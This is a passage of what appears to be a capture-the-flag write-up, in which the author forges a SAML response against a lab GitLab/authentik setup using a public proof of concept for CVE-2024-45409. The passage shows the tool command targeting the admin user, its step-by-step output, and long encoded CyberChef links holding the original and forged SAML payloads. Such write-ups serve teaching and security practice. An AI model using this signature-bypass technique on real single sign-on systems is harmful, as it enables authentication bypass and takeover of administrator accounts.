bnpTYTJicnV1N211ekhqWWN4cFhjR2o5dTlFMUVXOHpZRXE0U0pPUVo0a3FsciUyQmJqWGw3Yk82WG40aW83blJvcVVqQkZaaDAzRnRKS2FkRFFEJTJGR2RSa3BTUkc2MjVpazU1YlF2a1VSJTJCTFhLb3hXVFBjbk4wZFVOVkpDaTh0VXZuT25uYzc4T1p5aW1mZ2RzcE03YTM0eGtoMiUyQnd1b3llZ3JmZ3B0dG9rcFV4ck9FR1dPdVlYRFNOTyUyQkwwV1RBeEh3T1RaSkc5SXM4WEFVdGlRQnhPJTJCT1hQU1ladnoxYnVLcTBvTmJraWhJNXVxekZja0F5bEhka1hPMiUyRkdBdEZLdUdCbmppMUV5Qk9MSXQzUEpCamRkNUNWenRiTUhLMlMwMmwxdHJSS1dBRG9jckwyNUczc2RJbllKcG1wblNSemFVOW5zQ0g4WVlnd1AzZFJLTDZKQWdIclE3cjNXTzlHT2w5Tm15OW5MdW5QNWJvVTJZM3FoNFFUYWRtWkhPcHNDbG1WMG8xejNReG5zWlhObzJzT0U4blVhMDFRNk5RWjIzSjIlMkY1djRQbWZ5UzNUc3clMkY1UHFMb1V5d25KOCUyRnRQaUg5dDl2T3lqUGZpaUtvcmszSG1ldlE4Sk95b2NteWptcmpkdGhycnJoMnpscE1GYXI4dWE3QVZXNDVMOG11YlpoaGxSampVN2lSVllBS25XT0c0U1R6aWFwaUJ3V2hxNVZuMCUyQlVhaCUyRjZoTDF3czRhVDA0cVQySXFSN3JDUVVIVmd6SnBnb2lwOTJUVXNOcUZGaVAyWWp4OE00N0hpM2hWJTJCV1REWW83SWptUHF1VWZVM3h5SGFGTzBpcVFWd2NiclE3eW9ndktZUTRxb0ZXRmxOZWV5dUhpdVZhaVdNb3JzQzZPZHdCYmZNNW9rZ2JXNVJEdHliS2Z5MkNzUTlJYTB4SUpYTGolMkZPVTVSWVZ1ZlpoR1lmMyUyRmxrdCUyRnklMkZrQ0p0ZXJPSjhRbGRjMUFtekpKQUhIYnlobU42cVVJdEJaVkFlZmI1bUo5d3l6bmRyJTJGd1JubzA3QjhkM0hqTmkybEVUeGFDakJKekxocEJOYUVORWw2WVIwdXdDSzNBcEhtNTdNN0xObEc1elp1NGQ5WVNCZmFJZGJwb29vNHFNVGVKV0RFdFpQeGhqYUdzdHVPZlFyTlNvZmo1dE9LbWhqd1dSYk83N0VHeUhKdklIUm5LODdLaHZ5QVk0a1gxcFBXTTE3VFZhTVdwc3RVc3glMkJFSlBBZ3hkenJSMnZlUVRzckhXYUJrbnh1VnE2NWpJOHBkR25pJTJGM3RHdUhIVWxFaHprVWd1bXExeDVHTkZZclR2WGFZYnhDMUtHNzFEWTlNSENzayUyRmYzQ00xaEd1V05LM0kyVG9YYktYNjh4ZWl0THNIbWlSZm9IU0pMWmNBM1RKWkdSR1BhNTJ2dVE2Zzg0WGRMbWllTzI0eDlmYnJwJTJCMU1PWCUyQkVnOFBhUjYyVzJxOHYlMkJlWjdvd0pBWXdzR3ZoaU9naHdoV2dOblFRelZCZHRzT3AlMkJNYTNWTmMzMkhadkFyTmtyNGhNV1pKaUluMnB0RWtOdXR2a0hRSzdVUm55V2slMkZjcTZGeldCVHhTZURHS0hqY0dodGhYWDBZQzdoWk11UnlVYVdqSElUVlROejZsUFZ0RUVRek54R3VzaGNXRnlIRTNzZ0Q4bjZZRzhTbkxLOUhKSnF4UFZra3l6aFE5QW83TnJ5dWtzTDJQeXlrblhXViUyQm1rRzl6MVZkNUgybm9reUExVmtNQzlaUVphU1VhOUpkd2JkT2FaZEtWTiUyRkhDNyUyQnJJWWN6QURod0F2c2tHa1BjbGpnJTJGcTAzWHVoMm9Zd0p3d0hkTk5UbHRIUmt1UHd5YzJCalFiU000SFQlMkI3MVpucGk3eTV1VXZROGl3eUhZU2xUOTdkeng3Rklacks4ZFZVa2RIWE9wRVF1MVdGTkdPREVjTFc4clFMcXpkY004M2ZrU1Y2aVZKUzVidnhhaTVPemNpNjJKV1kwcU5aV05XcVo5VEgwSGE0VGphYW85bTdxZlQxTzVkN1VHT3VOVWNlYXBLc0FsTE5xa1JiQlVwajlUVFhEJTJGeVFieVVsZ2kyM2FwNHFJeEtEcFFRQWRhV0dkZ3FxSWE3dkExN3FOTDhpTHAyWFJXRjkzSXgyeFc4WVRhdFJPM3U1OTA3cEFQeEZUa0VuSUZ5WkNIeHpxSFlOSFQzTUVickZsaGRDayUyQm5PJTJCRG9GVnF2cDNuS2FLUFl6cjJsTGExOW82M0xkeWhZVzlHbThlclF4NlglMkZMYll6REhrR2ZleWpJeklsWG1wMzA3bHZLMTFGQjMyeWd5amhIUXpSQmJUczVIUEl0bzNRNGxGc0lIaURyWlA3TTVjdmVJa0hqSlRiWSUyRkFrMXZEdFhySHd2Tk9iT21VeCUyQm5NbWV6YlBqYlozalY3bzJLU0JxTnUlMkIySjlqbXVEbDZ4OVFvZ0NkcXNiS0xxdzFVa08lMkJRN2RMcVZXNkQwVGVmYWxIekpSdVd2NU5sTXBQUUU0clllYzU5bHVnSUxCS3k3M1F6RGRqWnJhOVdzbzVlWHRYWXZkWlMyTHZaUzFNNiUyRnZPVnc4bDhSSzRRZHVmd3pPR1d2TmNrRHJ1V1dXeXg2JTJGUlliYmFiQkQyYTMyT2dvMUJ6dG1PaG16UzhIYlhISUNNWVJMTHN0Yk52SWxFOGNHbHF0aTVWU1VGNG5zaGtONVZOU2c3UjI5VHlzcmFsd2tob1JFQ0JDUG9yRExQblpsM0ZzanVydmN3ZElSOGVVYk01QUhhWFh3cm8wMlJtcSUyRnVmQXdvNGhydU5tdGRtT083TkJoRFRtcXEwZWNkJTJGTEk0Q1kxcVg0U3NDNlJUUyUyQjY0dXl5aVZYaXpxbjNjMEdNdVI5cHB4WSUyRk9ud3BiUGU4Z3ExbFltb0hLQjVhYkoydmU2elJibzUlMkZjWUI3NWRwckV1JTJCdng5aldrenkyVXRIT3JzZmolMkJlWlJZbnVtZVBOeVowTGxOT01STVFrRHRLbFloQ3B6SGNFOVFTTVFiWkZ3YmhYRDZwR0Q2V29ZUDc5ZUxYODhVZiUyQnhmajExa1hjbjhyc3olMkI2c3dzb2ZnQXNMJTJCYTB0YmRKd2lmSkNXTzdiZiUyRjFyZ1laJTJCd0Ywc1dmWXhmWEolMkJIcW10QXVQQUEwZE9YenUlMkZyZHZncXNWNGgzNCUyRkcxMVdjUGZvOWxOJTJGciUyRmYzM2FqSXNud1BndDZCOSUyQmpYUVk4b2Z0THJYSzcxbDR4NjAlMkYxS0V6S3ZTdGhhaVRRWWVrdkglMkZvYlBmbE96UEtQenc2U3ZYeFNQS0hwJTJCN0J6ME9MQ0VEUDNJanYzTDdBJTJGN0ltM1pldUZVUE5RM0taUzRmWHBxJTJGME1KdjZQWWl4UmNlU2hXQjZmTVRoVkpoN0FjaDhNTlZIRkpraEVZTTdWTnIwc2Y4T0dCd0VsOVJST1RqQUYyajBYSUE0emklMkJDa2s4UmtrSzgwbWElMkZvYjNNOUxrUjV6NXR3eCUyRklibkVvd2RUJTJGeE1UWCUyRmhkdCUyQmluTDc5OThnbWZ3NGZmWWphV243RnVJNk90JTJCeVhlSUhwUmlFM2Q5bDhYNHFmZ1AlMkZuMnp2WXRwbThNJTJCNzdOZ3FFSHYlMkZ6dzRaSGszM1JuRjZhZzlMdFBpOWpzYXI5NUVhQmo5OUNnRkxMOFpkSGpCYUtma1dVV1dka2hpMjlXJTJCRkhVUHQ1SmZrUiUyQnZWbSUyRkZ0VCUyRiUyRkpPZWIzVGZ1JTJGMW8lMkZaZmh1d2tnNzk5ZnZqM1B2RDNhZmZrUG5WaFprNXM2dDMzblY2VDZQRklKc3cxZEo2bkxhTEROYkd6d3l5MEdNWmpSREFiODZ6JTJGY25jNUo1eVQ1Y205VlY3bTEyVnBhMnRwYjB0TGZuVjhXemJNRnVxYXVPdkJoS291cWUzNHhmbjRhMnVxNTlydXNlNjc4RW5UUGZmaHNzJTJCciUyQkdmJTJCRVBqZHQzZGRoWFR4OTElMkJYM1BmeXVBMjJmMWRWYmw2ajclMkZKVDJmZk9NSU9NNGZocUpUM1diSURpS29naktJSXRQMUdYSlgyJTJGZVpmUjclMkJCTDBmdVQzJTJGcHYlMkZCS3J3RiUyRmdZZ3BJUCUyRk1WamdUJTJCQ3RsdFlmWDVhVUo0JTJCS0YwM0FLWHFlciUyRnFGeE9Lcno2aSUyQkVlY1BtRDBNMFUlMkJrOFQ1NllNQXVqNnIlMkZQNmwxMk9FYmhraXlmckNEejRGZnR0bW9QMTBLNUJobVclMkJIJTJCRU9mSW8lMkZvSUtGZkZJRWY1c3Nnd3VlbiUyRndVUlE4VkI3SU9ZSkVoMFJkS1VUOFlBcFdoQVJBdkgxZE9YdnglMkZkbmw4WXRWOGVPS0RxcyUyRnh2NUh2ejM2OExhUGQlMkJQM1R2VzN3ZGdROUh2eGpBN3lQWHZYZyUyRjIwTVlncTU3UXI2OGp2QWU5Smw5Vzc0ZkElMkZhWVM3eGVyUUM1QWxpQTBTUktVUUVUJTJCajYlMkJZbkFLbzNDS1dmMVJYUDlzdnRIQ05FdVc2QTh0JTJCQUs5TlVHa1ZISDkydWI5cXE2eUpkclolMkZXV05WTkNuZGZTQkxaSzZ6ZnEwJTJGR1ZXWU9nakt6NkNLZndZWW1UMTF4SUs2TjE0ZjR6MG1sJTJCUCUyRlAxWTFpMzRxJTJCMzhqMTNxNDlUcURkTUNNV2lYQkFRZkhFdjUlMkZQVFhmdyUyRmhhNzlENjFkZFhMZGw5MFA3djdKNlYxV2d1b0dpYmtEMHNYdWIzQnV6UDBmOFJjU1FuOUFVc21RcG12OWolMkZCNzElMkJUNXFyekF2T2YzbFlpYmVYVlB4S28za0FaNDR5dHNpRnNYbVhUQTNaenlvUiUyQnBNQ2w2TXREWDUlMkJZWFQ5NTFmV1g1YmhLJTJGdEh6UHAyOEslMkZkdklvVnBPWWdERlhLVVp6dVpJMXdyYUlKZ05IUlpVOWt6R01YZFNEY0c1ajFxMjdzRFR4RFhhMVdFUWlyakpEazVNSmxhVE9wNjREVE5UQjBZUEJDNkVkbkQweE80dWxkWUV4WXd4Q2VhJTJCWXhnVGM5aW81V1l3THFuczd6dHZiU2hPclZRUnRGVUZXWFYlMkZVcHF0ekg2M3UzS2VTWlZ2RTd0THpUUWxnR0cxRTZkTGVVVW1CVGJmU1pabUpra0JzcWZPOVZ5aUpnWTVwSW9wbllEU2JTS1FqZ2hxU2xhTGN2Y0huZE8ydUVXZ1hCbnNjdiUyQjR2aWwlMkJkd3BWS3pJN0I2VTFlNUJUZmhoa0o3WkptZTRDbCUyQkNpSDJlYnVoRktBWGs0QnNxNW56U2EyYnJ1dTdtdXpIalljeHBYY0dqOXU5RTFFVzh6WUVxNFNKT1FaNGtxbHIlMkJialhsN2JPNlhuNGlvN25Sb3FVakJGWmgwM0Z0SkthZERRRCUyRkdkUmtwU1JHNjI1aWs1NWJRdmtVUiUyQkxYS294V1RQY25OMGRVTlZKQ2k4dFV2bk9ubmM3OE9aeWltZmdkc3BNN2EzNHhraDIlMkJ3dW95ZWdyZmdwdHRva3BVeHJPRUdXT3VZWERTTk8lMkJMMFdUQXhId09UWkpHOUlzOFhBVXRpUUJ4TyUyQk9YUFNZWnZ6MWJ1S3Ewb05ia2loSTV1cXpGY2tBeWxIZGtYTzIlMkZHQXRGS3VHQm5qaTFFeUJPTEl0M1BKQmpkZDVDVnp0Yk1ISzJTMDJsMXRyUktXQURvY3JMMjVHM3NkSW5ZSnBtcG5TUnphVTluc0NIOFlZZ3dQM2RSS0w2SkFnSHJRN3IzV085R09sOU5teTluTHVuUDVib1UyWTNxaDRRVGFkbVpIT3BzQ2xtVjBvMXozUXhuc1pYTm8yc09FOG5VYTAxUTZOUVoyM0oyJTJGNXY0UG1meVMzVHN3JTJGNVBxTG9VeXduSjglMkZ0UGlIOXQ5dk95alBmaWlLb3JrM0htZXZROEpPeW9jbXlqbXJqZHRocnJyaDJ6bHBNRmFyOHVhN0FWVzQ1TDhtdWJaaGhsUmpqVTdpUlZZQUtuV09HNFNUemlhcGlCd1docTVWbjAlMkJVYWglMkY2aEwxd3M0YVQwNHFUMklxUjdyQ1FVSFZnekpwZ29pcDkyVFVzTnFGRmlQMllqeDhNNDdIaTNoViUyQldURFlvN0lqbVBxdVVmVTN4eUhhRk8waXFRVndjYnJRN3lvZ3ZLWVE0cW9GV0ZsTmVleXVIaXVWYWlXTW9yc0M2T2R3QmJmTTVva2diVzVSRHR5YktmeTJDc1E5SWEweElKWExqJTJGT1U1UllWdWZaaEdZZjMlMkZsa3QlMkZ5JTJGa0NKdGVyT0o4UWxkYzFBbXpKSkFISGJ5aG1ONnFVSXRCWlZBZWZiNW1KOXd5em5kciUyRndSbm8wN0I4ZDNIak5pMmxFVHhhQ2pCSnpMaHBCTmFFTkVsNllSMHV3Q0szQXBIbTU3TTdMTmxHNXpadTRkOVlTQmZhSWRicG9vbzRxTVRlSldERXRaUHhoamFHc3R1T2ZRck5Tb2ZqNXRPS21oandXUmJPNzdFR3lISnZJSFJuSzg3S2h2eUFZNGtYMXBQV00xN1RWYU1XcHN0VXN4JTJCRUpQQWd4ZHpyUjJ2ZVFUc3JIV2FCa254dVZxNjVqSThwZEduaSUyRjN0R3VISFVsRWh6a1VndW1xMXg1R05GWXJUdlhhWWJ4QzFLRzcxRFk5TUhDc2slMkZmM0NNMWhHdVdOSzNJMlRvWGJLWDY4eGVpdExzSG1pUmZvSFNKTFpjQTNUSlpHUkdQYTUydnVRNmc4NFhkTG1pZU8yNHg5ZmJycCUyQjFNT1glMkJFZzhQYVI2MlcycTh2JTJCZVo3b3dKQVl3c0d2aGlPZ2h3aFdnTm5RUXpWQmR0c09wJTJCTWEzVk5jMzJIWnZBck5rcjRoTVdaSmlJbjJwdEVrTnV0dmtIUUs3VVJueVdrJTJGY3E2RnpXQlR4U2VER0tIamNHaHRoWFgwWUM3aFpNdVJ5VWFXakhJVFZUTno2bFBWdEVFUXpOeEd1c2hjV0Z5SEUzc2dEOG42WUc4U25MSzlISkpxeFBWa2t5emhROUFvN05yeXVrc0wyUHl5a25YV1YlMkJta0c5ejFWZDVIMm5va3lBMVZrTUM5WlFaYVNVYTlKZHdiZE9hWmRLVk4lMkZIQzclMkJySVljekFEaHdBdnNrR2tQY2xqZyUyRnEwM1h1aDJvWXdKd3dIZE5OVGx0SFJrdVB3eWMyQmpRYlNNNEhUJTJCNzFabnBpN3k1dVV2UThpd3lIWVNsVDk3ZHp4N0ZJWnJLOGRWVWtkSFhPcEVRdTFXRk5HT0RFY0xXOHJRTHF6ZGNNODNma1NWNmlWSlM1YnZ4YWk1T3pjaTYySldZMHFOWldOV3FaOVRIMEhhNFRqYWFvOW03cWZUMU81ZDdVR091TlVjZWFwS3NBbExOcWtSYkJVcGo5VFRYRCUyRnlRYnlVbGdpMjNhcDRxSXhLRHBRUUFkYVdHZGdxcUlhN3ZBMTdxTkw4aUxwMlhSV0Y5M0l4MnhXOFlUYXRSTzN1NTkwN3BBUHhGVGtFbklGeVpDSHh6cUhZTkhUM01FYnJGbGhkQ2slMkJuTyUyQkRvRlZxdnAzbkthS1BZenIybExhMTlvNjNMZHloWVc5R204ZXJReDZYJTJGTGJZekRIa0dmZXlqSXpJbFhtcDMwN2x2SzExRkIzMnlneWpoSFF6UkJiVHM1SFBJdG8zUTRsRnNJSGlEclpQN001Y3ZlSWtIakpUYlklMkZBazF2RHRYckh3dk5PYk9tVXglMkJuTW1lemJQamJaM2pWN28yS1NCcU51JTJCMko5am11RGw2eDlRb2dDZHFzYktMcXcxVWtPJTJCUTdkTHFWVzZEMFRlZmFsSHpKUnVXdjVObE1wUFFFNHJZZWM1OWx1Z0lMQkt5NzNRekRkalpyYTlXc281ZVh0WFl2ZFpTMkx2WlMxTTYlMkZ2T1Z3OGw4Uks0UWR1Znd6T0dXdk5ja0RydVdXV3l4NiUyRlJZYmJhYkJEMmEzMk9nbzFCenRtT2htelM4SGJYSElDTVlSTExzdGJOdklsRThjR2xxdGk1VlNVRjRuc2hrTjVWTlNnN1IyOVR5c3JhbHdraG9SRUNCQ1BvckRMUG5abDNGc2p1cnZjd2RJUjhlVWJNNUFIYVhYd3JvMDJSbXElMkZ1ZkF3bzRocnVObXRkbU9PN05CaERUbXFxMGVjZCUyRkxJNENZMXFYNFNzQzZSVFMlMkI2NHV5eWlWWGl6cW4zYzBHTXVSOXBweFklMkZPbndwYlBlOGdxMWxZbW9IS0I1YWJKMnZlNnpSYm81JTJGY1lCNzVkcHJFdSUyQnZ4OWpXa3p5MlV0SE9yc2ZqJTJCZVpSWW51bWVQTnlaMExsTk9NUk1Ra0R0S2xZaENwekhjRTlRU01RYlpGd2JoWEQ2cEdENldvWVA3OWVMWDg4VWYlMkJ4ZmoxMWtYY244cnN6JTJCNnN3c29mZ0FzTCUyQmEwdGJkSndpZkpDV083YmYlMkYxcmdZWiUyQndGMHNXZll4ZlhKJTJCSHFtdEF1UEFBMGRPWHp1JTJGcmR2Z3FzVjRoMzQlMkZHMTFXY1BmbzlsTiUyRnIlMkZmMzNhaklzbndQZ3Q2QjklMkJqWFFZOG9mdExyWEs3MWw0eDYwJTJGMUtFekt2U3RoYWlUUVlla3ZIJTJGb2JQZmxPelBLUHp3NlN2WHhTUEtIcCUyQjdCejBPTENFRFAzSWp2M0w3QSUyRjdJbTNaZXVGVVBOUTNLWlM0ZlhwcSUyRjBNSnY2UFlpeFJjZVNoV0I2Zk1UaFZKaDdBY2g4TU5WSEZKa2hFWU03Vk5yMHNmOE9HQndFbDlSUk9UakFGMmowWElBNHppJTJCQ2trOFJra0s4MG1hJTJGb2IzTTlMa1I1ejV0d3glMkZJYm5Fb3dkVCUyRnhNVFglMkZoZHQlMkJpbkw3OTk4Z21mdzRmZllqYVduN0Z1STZPdCUyQnlYZUlIcFJpRTNkOWw4WDRxZmdQJTJGbjJ6dll0cG04TSUyQjc3TmdxRUh2JTJGenc0WkhrMzNSbkY2YWc5THRQaTlqc2FyOTVFYUJqOTlDZ0ZMTDhaZEhqQmFLZmtXVVdXZGtoaTI5VyUyQkZIVVB0NUpma1IlMkJ2Vm0lMkZGdFQlMkYlMkZKT2ViM1RmdSUyRjFvJTJGWmZodXdrZzc5OWZ2ajNQdkQzYWZma1A">CyberChef</a>:</p>

<p><a href="/img/image-20260228135915961.png"><img src="/img/image-20260228135915961.png" alt="image-20260228135915961" /><em>Click for full size image</em></a></p>

<p>I’ll save that XML to a file, and pass it to the POC:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run <span class="nt">--with</span> lxml CVE-2024-45409.py <span class="nt">-r</span> saml.xml <span class="nt">-n</span> akadmin
<span class="go">[+] Parse response
        Digest algorithm: sha256
        Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.xml
</span></code></pre></div></div>

<p>I’ll put the result back through <a href="https://gchq.github.io/CyberChef/#recipe=Raw_Deflate('Dynamic%20Huffman%20Coding')To_Base64('A-Za-z0-9%2B/%3D')URL_Encode(true)&amp;input=PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIHhtbG5zOmRzPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIiB4bWxuczptZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOm1ldGFkYXRhIiB4bWxuczp4ZW5jPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyMiIFZlcnNpb249IjIuMCIgSXNzdWVJbnN0YW50PSIyMDI2LTAyLTI4VDE4OjU0OjQzWiIgRGVzdGluYXRpb249Imh0dHBzOi8vZ2l0bGFiLmJhcnJpZXIudmwvdXNlcnMvYXV0aC9zYW1sL2NhbGxiYWNrIiBJRD0iSUQtZjk0OTlmNDctYWZkYi00ZDk0LWI1NWEtY2M2MmQyNzNjNDgwIj48c2FtbDpJc3N1ZXI%2BYXV0aGVudGlrPC9zYW1sOklzc3Vlcj48c2FtbHA6U3RhdHVzPjxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiLz48c2FtbHA6U3RhdHVzRGV0YWlsPjxkczpSZWZlcmVuY2UgVVJJPSIjX2Y3NjZlNDZlMWIxODQwNTViOWNhYTI2OTI1MTUyNTk2Ij4KPGRzOlRyYW5zZm9ybXM%2BCjxkczpUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIvPgo8ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCjwvZHM6VHJhbnNmb3Jtcz4KPGRzOkRpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5jI3NoYTI1NiIvPgo8ZHM6RGlnZXN0VmFsdWU%2BTnBPaGRHNUhrVjlhc0htREJyWlZJUFdPVW5KTFlac3lMUGxENit6SEJ5ND08L2RzOkRpZ2VzdFZhbHVlPgo8L2RzOlJlZmVyZW5jZT4KPC9zYW1scDpTdGF0dXNEZXRhaWw%2BPC9zYW1scDpTdGF0dXM%2BPHNhbWw6QXNzZXJ0aW9uIFZlcnNpb249IjIuMCIgSUQ9Il9mNzY2ZTQ2ZTFiMTg0MDU1YjljYWEyNjkyNTE1MjU5NiIgSXNzdWVJbnN0YW50PSIyMDI2LTAyLTI4VDE4OjU0OjQzWiI%2BPHNhbWw6SXNzdWVyPmF1dGhlbnRpazwvc2FtbDpJc3N1ZXI%2BPGRzOlNpZ25hdHVyZT4KPGRzOlNpZ25lZEluZm8%2BCjxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCjxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGRzaWctbW9yZSNyc2Etc2hhMjU2Ii8%2BCjxkczpSZWZlcmVuY2UgVVJJPSIjX2Y3NjZlNDZlMWIxODQwNTViOWNhYTI2OTI1MTUyNTk2Ij4KPGRzOlRyYW5zZm9ybXM%2BCjxkczpUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIvPgo8ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCjwvZHM6VHJhbnNmb3Jtcz4KPGRzOkRpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5jI3NoYTI1NiIvPgo8ZHM6RGlnZXN0VmFsdWU%2BalFnWXpOTTJuaGRIdSt4QjVZSi9SNUFrc2J5cFoyYm93NVo0RFlmL3JvND08L2RzOkRpZ2VzdFZhbHVlPgo8L2RzOlJlZmVyZW5jZT4KPC9kczpTaWduZWRJbmZvPgo8ZHM6U2lnbmF0dXJlVmFsdWU%2BWTVBTkY5YjlRNmgxOEJrSWlwREpsZHhQMjBFTUFaNGYrMWpNVERacmZBWG9zY21RMkcxcVJBL0YzcUg5ODR4UQptNE9DaFhVZVEwVTIwVFBDRGNTYlpZRWlaRW1SaisxUHdiY0hMSVFQeGVYcnFGVWlmMkRNWHZWeUp2Nk5FbjZkCkpJREhNWGFFTnhxVXp3UnNadGhGUlNSM0tqdENwbWUrKzBwRUZqcnowRkkrUVhuT0hIOWRnYkVyNVp6dEk1RjkKVmhnRUVaZVBwR2RFOGQzNXVnNklJell1YUJPTnpOMzBzY2JMMjJxTGpJYW5XYzZNM3lVUEJPcGtsazVDcmNpNApLZ3BKVCtGZlZIY2lHelVjRmIwaldiLzdveU5TM0pYcjduejdRb3VHQjFCbUI3MlZHT0dkOFI5d3IzWEliZzRaCkJtSXRueVZMSDdTS0l0QmZuaVdXcDVkSTFJSEFVWGZEaG5JcDBjYWMyS040RkZkNEdKUVdnV2s4YUY0M2txbGsKcjFIWVJYazA2djBNL2JsWTdYOGtPNFZMTGN5NWs1YTkrcnhpUEp2VlovNHJpekgwV2VONkN4ZlJyZ2g1UVJ1VwpSTXdrak4xM1cyem9EUTEyL2V4WVM0Q1BGeVI5K0ZjcDRUUSt2VXlnczFHWnFZcUU2bk1idi9sTy9Hbm1rNjQ5CklWQTY0eUp3VC9yRmtJUGk5YUVkZ3ViRXdDcnltQWJ2T0VDRlE2S1N1UmM5Tm9YNkpSbStGZTB1VFJMUUt3dE8KM0tnMU1OWkZFdXJXbXBLM2F1dWYxMmNYaFJoakVEM2VvdU56dE50VWRLQ0hocEpCU0pJREJrSzYwcHdoajgrZwpKc1FzNFVHbCtISDBHSXFMdW1iTEhRdXByVHgwQ29oZjg1aHhwUDFWS1o0PTwvZHM6U2lnbmF0dXJlVmFsdWU%2BCjxkczpLZXlJbmZvPgo8ZHM6WDUwOURhdGE%2BCjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRlV6Q0NBenVnQXdJQkFnSVFLdFFTOTV6T1RpNlVoYjdPb21vNHREQU5CZ2txaGtpRzl3MEJBUXNGQURBZQpNUnd3R2dZRFZRUUREQk5oZFhSb1pXNTBhV3NnTWpBeU5DNHhNQzQxTUI0WERUSTBNVEl4TkRFMU16Z3dOMW9YCkRUSTFNVEl4TlRFMU16Z3dOMW93VmpFcU1DZ0dBMVVFQXd3aFlYVjBhR1Z1ZEdscklGTmxiR1l0YzJsbmJtVmsKSUVObGNuUnBabWxqWVhSbE1SSXdFQVlEVlFRS0RBbGhkWFJvWlc1MGFXc3hGREFTQmdOVkJBc01DMU5sYkdZdApjMmxuYm1Wa01JSUNJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBZzhBTUlJQ0NnS0NBZ0VBdzRTOEdHZjJ4MDdCCmlEeUZEM1RLSEdCOXRGbjBSSTBGZW1aYUNmQ3gyUlVXenFDVit5UHpCK2Z6QzFQZjhVTWdJUDhkZ2VabXAzSFEKRzNkanBwRGhpaitJK21FVHZMUWRTUWg4cms5eXRVTVcxZUxnTlR2TkVIMElIMXhFSkVjbUhPVFB3Y1NOcmV6awp5SW8wT1pXR0JGcDhWbDNnR3pMY2VKdXBkYXU5RlVZaVZPRzRwZVVkU2pyWVA2eExOOElQbzE2S2gxK2o4eEQrCmpaOE5xamt4L0dSNzBtZmdQanFTTzFFQUNqcEh5anpoc3J1SzQzZFR5Y0RieHFPb1kxM3BSckV4bzdVOVlsRU8KekZycHRlUDIxc0hMemQways4MENQcS9aUFdsWHNJYWZKMThKT0YrUVdDRDhLL0hGbWJDcDlpaGQzcFFTWnFrYQowSHgyelJGeXhCQkd3dG9Xdk9MV2srcStiYllMZFhZaVNYT0hhWnl4OGJQRjkzVTJxUFVEMFRkK0llUXA4dW54ClNycnVXVjcwTDVCdHMxaXk2Y1FtOHYvZjFSRi9RMHRRUHBnU0FhRy9oeGNTZ09BNHhMd0JYUjF5ZUduZldQM3cKVnVUclNJQVVPYnltK2dKQjRnR0hGUG1HZG55OVd0aE1RU2ViYnlCR0ZqSEJjbHF1V0FUNFRnN1RTR2cyNVNZawpGby9YWUhRNG0rVGJwSUE3UllzanJlQWtqNkhPQWFNOGdzdVg3cUhMZE43dzM0RzVsNGVYdmlQMG5GUG9KM1h2ClpDOWg2TnhDdXZxYUhFZkIrOStjZTJsaXVFOFlGWUFib1dKTFljTXJjK0JEdVQwR3Q1UlBzOEZVVUNndlUrUHAKT2lEQk90TFFtVzl6WENRNVNMYmRQVTNBbkVNYUp5c0NBd0VBQWFOVk1GTXdVUVlEVlIwUkFRSC9CRWN3UllKRApPVUpYY2toS2FGQmxNblJFUzNKTmMwNHlVemxKUTFScE1GcG5TMFJRU1ZoYVUxcERWV3hvWVM1elpXeG1MWE5wCloyNWxaQzVuYjJGMWRHaGxiblJwYXk1cGJ6QU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FnRUFyc2hJWDBmZWxzZWwKVDhEN2lleG5kbytzMjcyYTBpVk8vaFpRVTZqT1Brd2l5TTJnNUtyeEJLeldPQlRrdTN4bGtGL3FlZ3VrY1ZvaworRVlOWHVZdVJ5STlPRmZUWnp1RE5uTWtKeXl4ZDhWd2h3dDVOSlJMVVlKbFh1cEF2UHJrZjZUa2ZtQ0psR3lmCllQem1tZFBkWEhDRnRKeG15Sm9PMDB1TEl5KzAzRnZQRUExT2l3Q2lkOGFRY0ZBLzF1NUJUU2EzS1pCbzZCRkMKUWhOTC8reFhvK29NejFjWktFcjhoQzI4aVV4U3ZMZlFBdFhRdFBuOWdwMTV2TGw3WmZvUENGUkxnM0VEMXZvcApkakFuV0hjQ3MwSk9vWWxPdDlkWVNqdHVpRUl6TmtKaU01T2dlMjhPY0JZWVNYYjBldVls